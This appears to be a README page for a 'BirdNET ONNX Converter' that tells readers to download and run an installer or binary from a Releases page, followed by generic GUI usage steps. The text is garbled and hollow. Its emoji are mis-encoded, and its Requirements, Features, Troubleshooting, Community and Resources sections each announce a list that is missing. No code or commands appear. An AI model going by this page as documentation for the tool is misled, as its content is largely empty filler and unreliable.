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๐Ÿฆ birdnet-onnx-converter - Convert BirdNET Models Easily

๐Ÿ“ฆ Quick Download

Download birdnet-onnx-converter

๐Ÿš€ Getting Started

Welcome to the BirdNET ONNX Converter! This tool helps you convert and optimize BirdNET models for ONNX Runtime. You can use it for inference on various devices, including GPUs, CPUs, and embedded systems, like Raspberry Pi.

๐Ÿ› ๏ธ Requirements

Before you start, ensure you have the following:

๐Ÿ“ฅ Download & Install

To get the BirdNET ONNX Converter, visit this page to download the latest version: Releases Page.

  1. Visit the Releases Page: Click on the link above.
  2. Find the Latest Release: Look for the most recent version at the top of the page.
  3. Download the File: Click on the file that matches your system (e.g., .exe, .dmg, or .tar.gz).
  4. Install the Application:
    • Windows: Double-click the downloaded .exe file and follow the prompts.
    • macOS: Open the .dmg file and drag the application to your Applications folder.
    • Linux: Extract the .tar.gz file and run the binary.

๐Ÿ“Š Features

The BirdNET ONNX Converter offers the following features:

๐Ÿ–ฅ๏ธ How to Use the Application

Once you have installed the BirdNET ONNX Converter, follow these steps to convert your models:

  1. Launch the Application: Open the BirdNET ONNX Converter on your device.
  2. Select Your Model: Click on the โ€œSelect Modelโ€ button and choose the BirdNET model file you want to convert.
  3. Configure Settings: Adjust any necessary settings for optimization as needed.
  4. Start Conversion: Click on the โ€œConvertโ€ button to begin the process.
  5. Save the Output: Once converted, you will see options to save your ONNX model to a specified location.

โš™๏ธ Troubleshooting

If you encounter issues during installation or usage, consider the following steps:

๐Ÿ‘ฅ Community and Support

Join our community to share your experiences and ask questions:

๐Ÿ“– Additional Resources

For further information, you can consult the following resources:

We appreciate your interest in the BirdNET ONNX Converter! Happy bird identifying!